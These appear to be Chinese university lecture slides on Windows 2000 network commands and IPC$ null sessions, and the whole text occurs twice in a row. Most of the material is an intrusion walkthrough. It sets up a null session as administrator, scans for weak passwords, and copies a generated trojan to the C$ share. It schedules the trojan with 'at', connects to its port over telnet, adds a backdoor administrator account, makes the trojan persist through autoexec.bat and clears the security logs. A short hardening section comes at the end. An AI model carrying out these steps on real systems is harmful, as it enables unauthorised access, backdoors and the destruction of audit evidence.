计算机网络
——网络操作系统命令西安电子科技大学刘怀亮内容提要
Win2000为例介绍网络操作系统
网络常见命令
IPC$连接与空会话及其原理
IPC$入侵远程主机案例分析
IPC$入侵防范一,网络常见命令
Ping
Tracert
Nslookup
Net send
Arp
Net view IP 查看远程主机的共享资源
Net share 查看本地主机的共享资源
Nbtstat –A IP 显示远程主机的用户列表
Netstat –an 查看本地主机的网络连接
Net start 查看本机启动的服务
telnet Ip 端口
At \\ip 时间 程序名二,IPC$
1,IPC概念
IPC$(InternetProcessConnection)是共享,命名管道,的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
IPC$是 NT/2000的一项新功能,它有一个特点,即在同一时间内,两个 IP之间只允许建立一个连接。
NT/2000在提供了 ipc$功能的同时,在初次安装系统时还打开了 默认共享,即所有的逻辑共享 (c$,d$,e$…… )和系统目录 winnt或 windows(admin$)共享。
所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
系统的默认共享
2,win2000会话的建立
在 WindowsNT 4.0中是使用 挑战响应协议 与远程机器建立一个会话的,
建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建立;
2)服务器产生一个随机的 64位数(实现挑战)传送回客户;
3)客户取得这个由服务器产生的 64位数,用试图建立会话的帐号的口令打乱它,将结果返回到服务器(实现响应);
4)服务器接受响应后发送给本地安全验证( LSA),
LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建立的会话被终止。
空会话
Win2000中提供了一个默认的帐号为:
ANONYMOUSLOGON
可用来建立空连接,即 IPC$空会话
空会话,权限并不高
但可作为跳板使用,来提升权限 ……
3,IPC$所使用的端口
1,SMB:(ServerMessageBlock)Windows协议族,用于文件打印共享的服务;
2,NBT:(NETBios Over TCP/IP)使用 137( UDP)
138( UDP) 139( TCP)端口实现基于 TCP/IP协议的 NETBIOS网络互联。
3、在 WindowsNT中 SMB基于 NBT实现,而在
Windows2000中,SMB除了基于 NBT实现,还可以直接通过 445端口实现。
137,138,139,445
对于 win2000客户端 来说:
1、如果在允许 NBT的情况下连接服务器时,客户端会同时尝试访问 139和 445端口,如果 445端口有响应,那么就发送 RST包给 139端口断开连接,用
455端口进行会话,当 445端口无响应时,才使用
139端口,如果两个端口都没有响应,则会话失败;
2、如果在禁止 NBT的情况下连接服务器时,那么客户端只会尝试访问 445端口,如果 445端口无响应,那么会话失败。由此可见,禁止了 NBT后的
win2000对 winNT的共享访问将会失败。
对于 win2000服务器 端来说:
1、如果允许 NBT,那么 UDP端口 137,138,
TCP端口 139,445将开放;
2、如果禁止 NBT,那么只有 445端口开放。
显而易见,如果远程服务器没有监听 139或 445端口,ipc$会话是无法建立的。
4、空会话建立可能用到的命令
第一:建立空会话
命令,netuse \\ip\ipc$―口令 ‖ /user:―用户名 ―
注意:上面的命令包括四个空格,net与 use中间有一个空格,use后面一个,口令左右各一个空格。如:
Net use \\192.168.0.1\ipc$ ―‖ /user:‖administrator‖
建立非空会话
netuse\\IP\ipc$"psw"/user:"account"
可用 X-scan来扫描远程主机的空口令
也可用一个软件,名为:
Newletmein
可用它来建立 IPC$连接
它可自动扫描弱口令第二:查看共享资源
查看远程主机的共享资源
命令,netview\\IP
解释:建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下类似类似结果:
在 \\*.*.*.*的共享资源资源共享名 类型 用途 注释
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
查看本地共享资源是用:
命令,net share
系统的默认共享第三:查看时间
查看远程主机的当前时间命令,nettime\\IP
查看本地主机时间是用
命令,time
第四:用户列表
得到远程主机的 NetBIOS用户名列表
命令,nbtstat-A IP
得到本地用户名列表是用
命令,net user
第五:查看本地网络服务
显示本地开启的服务
命令,net start
启动 /关闭本地服务
命令,net start 服务名 /y
net stop 服务名 /y
如:
查看系统启动的网络服务
第六:向远程主机复制文件
命令:
Copy \路径 \文件,exe \\IP\共享路径名
第七:远程添加计划任务
at \\ip 时间 程序名
如:
at \\127.0.0.0 11:00 love.exe
第八:开启远程 telnet服务
借用一个外部软件,Opentelnet
命令:
OpenTelnet.exe\\IPaccountpswNTLM认证方式 0,1,2 port
例:
c:\>OpenTelnet.exe\\*.*.*.*administrator""1 90
Opentelnet
满足四个要求:
1)目标开启了 ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启 RemoteRegistry服务,用户就该 ntlm认证
4)对 WIN2K/XP有效,NT未经测试
NTLM
早期的 SMB协议在网络上明文传输口令
后来出现了 ―LAN Manager
Challenge/Response‖验证机制,简称 LM,
它十分简单以至很容易被破解
微软随后提出了 WindowsNT挑战 /响应验证机制,即 NTLM。
现在已经有了更新的 NTLMv2以及 Kerberos
验证体系。
NTLM,NTLM身份验证选项。默认是 2。可以有下面这些值:
0,不使用 NTLM 身份验证。
1,先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2,只使用 NTLM 身份验证。
OpenTelnet.exe \\server username password 1 telnetport
第九:激活用户 /加入管理员组
net user account /active:yes
net localgroup administrators account /add
这样可给远程主机留一个后门
第十:删除已建立好的 IPC$连接
netuse\\IP\ipc$/del
三,IPC$入侵过程
Net use \\100.100.14.***\ipc$ ―‖ /user:administrator
可用 Aport来查看本机的连接
Net view \\IP
查看远程共享资源
Net time \\IP
查看远程主机的时间
Nbtstat –A IP
查看远程主机的用户列表我主机有两块网卡
,特此说明远程用户列表用 Opentelnet文件来开启远程主机的 telnet服务将该文件拷贝到了
C:盘下用 Opentelnet启动远程服务启动并不成功只能想其它办法了若成功,情况如下:
成功了!
成功后就可以远程登陆对方主机了
telnet IP 端口如果不成功,可向对方主机直接拷贝木马程序
C没有共享但 C$
是默认的共享路径,哈!
这是因为我先前做测试时已经在对方主机上注入过木马了,哈,不好意思木马,我选择了一个常用的,
winshell
完成设置后,
点击生成,
会生成木马文件:
server.exe
名字和你的设置有关将生成的木马放在了 C:下看一下对方的时间,设置时间让木马在对方主机上运行!
打开远程主机的共享,发现:
打开其任务计划,发现已经:
查看计划可见可用扫描软件查看对方指定端口是否开放了 ……
用 aport来查看扫描时的连接先前我们生成的木马文件的端口为:
5277
如果指定程序已经运行,则端口必然会开放!
所以可用
telnet IP 5277
来连接远程主机
连接到远程主机后,远程主机就相当于是我们的虚拟主机了,我们的一切操作就跟操作本地主机一样的操作远程主机了
所以 telnet远程主机后,其后的操作命令要用本地命令,切记!
如,dir列出的是远程主机的文件列表;
net start 查看的是远程主机的服务所以可用:
net start 服务名启动远程主机服务!
可用
netuseraccount/active:yes
netlocalgroupadministratorsaccount/add
激活远程主机的用户名
如果上传的木马没有运行
可上传一个 autoexec.bat文件
让木马文件在下次远程主机启动时自动运行
@echo off
C:\server.exe
清除日志
Windows 2000 以三种日志方式记录事件:
应用程序日志,应用程序日志包含程序所记录的事件
安全日志,安全日志包括有效和无效的登录尝试以及与资源使用相关的事件,如创建、
打开或删除文件或其他对象。
系统日志,系统日志包含 Windows 2000 的系统组件记录的事件。
Eslave –s \\ip -l ―application/system/security‖ -C
Eslave
可从网上下载获得!
五、如何禁止 IPC$入侵
135
137
138
139
445
135端口关闭方法
137,138
139
445
HKEY_LOCAL_MACHINE\SYSTEM\Current
ControlSet\Services\NetBT\Parameters
新建一个名为,SMBDeviceEnabled‖的双字节值。
最后双击,SMBDeviceEnabled‖选项,在弹出的数值设置界面中,将其数值设置为,0‖。
关闭注册表编辑界面,将系统重新启动,445服务端口就会被彻底关闭了。
另
有几个服务,不用的话可关闭掉!
——网络操作系统命令西安电子科技大学刘怀亮内容提要
Win2000为例介绍网络操作系统
网络常见命令
IPC$连接与空会话及其原理
IPC$入侵远程主机案例分析
IPC$入侵防范一,网络常见命令
Ping
Tracert
Nslookup
Net send
Arp
Net view IP 查看远程主机的共享资源
Net share 查看本地主机的共享资源
Nbtstat –A IP 显示远程主机的用户列表
Netstat –an 查看本地主机的网络连接
Net start 查看本机启动的服务
telnet Ip 端口
At \\ip 时间 程序名二,IPC$
1,IPC概念
IPC$(InternetProcessConnection)是共享,命名管道,的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
IPC$是 NT/2000的一项新功能,它有一个特点,即在同一时间内,两个 IP之间只允许建立一个连接。
NT/2000在提供了 ipc$功能的同时,在初次安装系统时还打开了 默认共享,即所有的逻辑共享 (c$,d$,e$…… )和系统目录 winnt或 windows(admin$)共享。
所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
系统的默认共享
2,win2000会话的建立
在 WindowsNT 4.0中是使用 挑战响应协议 与远程机器建立一个会话的,
建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建立;
2)服务器产生一个随机的 64位数(实现挑战)传送回客户;
3)客户取得这个由服务器产生的 64位数,用试图建立会话的帐号的口令打乱它,将结果返回到服务器(实现响应);
4)服务器接受响应后发送给本地安全验证( LSA),
LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建立的会话被终止。
空会话
Win2000中提供了一个默认的帐号为:
ANONYMOUSLOGON
可用来建立空连接,即 IPC$空会话
空会话,权限并不高
但可作为跳板使用,来提升权限 ……
3,IPC$所使用的端口
1,SMB:(ServerMessageBlock)Windows协议族,用于文件打印共享的服务;
2,NBT:(NETBios Over TCP/IP)使用 137( UDP)
138( UDP) 139( TCP)端口实现基于 TCP/IP协议的 NETBIOS网络互联。
3、在 WindowsNT中 SMB基于 NBT实现,而在
Windows2000中,SMB除了基于 NBT实现,还可以直接通过 445端口实现。
137,138,139,445
对于 win2000客户端 来说:
1、如果在允许 NBT的情况下连接服务器时,客户端会同时尝试访问 139和 445端口,如果 445端口有响应,那么就发送 RST包给 139端口断开连接,用
455端口进行会话,当 445端口无响应时,才使用
139端口,如果两个端口都没有响应,则会话失败;
2、如果在禁止 NBT的情况下连接服务器时,那么客户端只会尝试访问 445端口,如果 445端口无响应,那么会话失败。由此可见,禁止了 NBT后的
win2000对 winNT的共享访问将会失败。
对于 win2000服务器 端来说:
1、如果允许 NBT,那么 UDP端口 137,138,
TCP端口 139,445将开放;
2、如果禁止 NBT,那么只有 445端口开放。
显而易见,如果远程服务器没有监听 139或 445端口,ipc$会话是无法建立的。
4、空会话建立可能用到的命令
第一:建立空会话
命令,netuse \\ip\ipc$―口令 ‖ /user:―用户名 ―
注意:上面的命令包括四个空格,net与 use中间有一个空格,use后面一个,口令左右各一个空格。如:
Net use \\192.168.0.1\ipc$ ―‖ /user:‖administrator‖
建立非空会话
netuse\\IP\ipc$"psw"/user:"account"
可用 X-scan来扫描远程主机的空口令
也可用一个软件,名为:
Newletmein
可用它来建立 IPC$连接
它可自动扫描弱口令第二:查看共享资源
查看远程主机的共享资源
命令,netview\\IP
解释:建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下类似类似结果:
在 \\*.*.*.*的共享资源资源共享名 类型 用途 注释
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
查看本地共享资源是用:
命令,net share
系统的默认共享第三:查看时间
查看远程主机的当前时间命令,nettime\\IP
查看本地主机时间是用
命令,time
第四:用户列表
得到远程主机的 NetBIOS用户名列表
命令,nbtstat-A IP
得到本地用户名列表是用
命令,net user
第五:查看本地网络服务
显示本地开启的服务
命令,net start
启动 /关闭本地服务
命令,net start 服务名 /y
net stop 服务名 /y
如:
查看系统启动的网络服务
第六:向远程主机复制文件
命令:
Copy \路径 \文件,exe \\IP\共享路径名
第七:远程添加计划任务
at \\ip 时间 程序名
如:
at \\127.0.0.0 11:00 love.exe
第八:开启远程 telnet服务
借用一个外部软件,Opentelnet
命令:
OpenTelnet.exe\\IPaccountpswNTLM认证方式 0,1,2 port
例:
c:\>OpenTelnet.exe\\*.*.*.*administrator""1 90
Opentelnet
满足四个要求:
1)目标开启了 ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启 RemoteRegistry服务,用户就该 ntlm认证
4)对 WIN2K/XP有效,NT未经测试
NTLM
早期的 SMB协议在网络上明文传输口令
后来出现了 ―LAN Manager
Challenge/Response‖验证机制,简称 LM,
它十分简单以至很容易被破解
微软随后提出了 WindowsNT挑战 /响应验证机制,即 NTLM。
现在已经有了更新的 NTLMv2以及 Kerberos
验证体系。
NTLM,NTLM身份验证选项。默认是 2。可以有下面这些值:
0,不使用 NTLM 身份验证。
1,先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2,只使用 NTLM 身份验证。
OpenTelnet.exe \\server username password 1 telnetport
第九:激活用户 /加入管理员组
net user account /active:yes
net localgroup administrators account /add
这样可给远程主机留一个后门
第十:删除已建立好的 IPC$连接
netuse\\IP\ipc$/del
三,IPC$入侵过程
Net use \\100.100.14.***\ipc$ ―‖ /user:administrator
可用 Aport来查看本机的连接
Net view \\IP
查看远程共享资源
Net time \\IP
查看远程主机的时间
Nbtstat –A IP
查看远程主机的用户列表我主机有两块网卡
,特此说明远程用户列表用 Opentelnet文件来开启远程主机的 telnet服务将该文件拷贝到了
C:盘下用 Opentelnet启动远程服务启动并不成功只能想其它办法了若成功,情况如下:
成功了!
成功后就可以远程登陆对方主机了
telnet IP 端口如果不成功,可向对方主机直接拷贝木马程序
C没有共享但 C$
是默认的共享路径,哈!
这是因为我先前做测试时已经在对方主机上注入过木马了,哈,不好意思木马,我选择了一个常用的,
winshell
完成设置后,
点击生成,
会生成木马文件:
server.exe
名字和你的设置有关将生成的木马放在了 C:下看一下对方的时间,设置时间让木马在对方主机上运行!
打开远程主机的共享,发现:
打开其任务计划,发现已经:
查看计划可见可用扫描软件查看对方指定端口是否开放了 ……
用 aport来查看扫描时的连接先前我们生成的木马文件的端口为:
5277
如果指定程序已经运行,则端口必然会开放!
所以可用
telnet IP 5277
来连接远程主机
连接到远程主机后,远程主机就相当于是我们的虚拟主机了,我们的一切操作就跟操作本地主机一样的操作远程主机了
所以 telnet远程主机后,其后的操作命令要用本地命令,切记!
如,dir列出的是远程主机的文件列表;
net start 查看的是远程主机的服务所以可用:
net start 服务名启动远程主机服务!
可用
netuseraccount/active:yes
netlocalgroupadministratorsaccount/add
激活远程主机的用户名
如果上传的木马没有运行
可上传一个 autoexec.bat文件
让木马文件在下次远程主机启动时自动运行
@echo off
C:\server.exe
清除日志
Windows 2000 以三种日志方式记录事件:
应用程序日志,应用程序日志包含程序所记录的事件
安全日志,安全日志包括有效和无效的登录尝试以及与资源使用相关的事件,如创建、
打开或删除文件或其他对象。
系统日志,系统日志包含 Windows 2000 的系统组件记录的事件。
Eslave –s \\ip -l ―application/system/security‖ -C
Eslave
可从网上下载获得!
五、如何禁止 IPC$入侵
135
137
138
139
445
135端口关闭方法
137,138
139
445
HKEY_LOCAL_MACHINE\SYSTEM\Current
ControlSet\Services\NetBT\Parameters
新建一个名为,SMBDeviceEnabled‖的双字节值。
最后双击,SMBDeviceEnabled‖选项,在弹出的数值设置界面中,将其数值设置为,0‖。
关闭注册表编辑界面,将系统重新启动,445服务端口就会被彻底关闭了。
另
有几个服务,不用的话可关闭掉!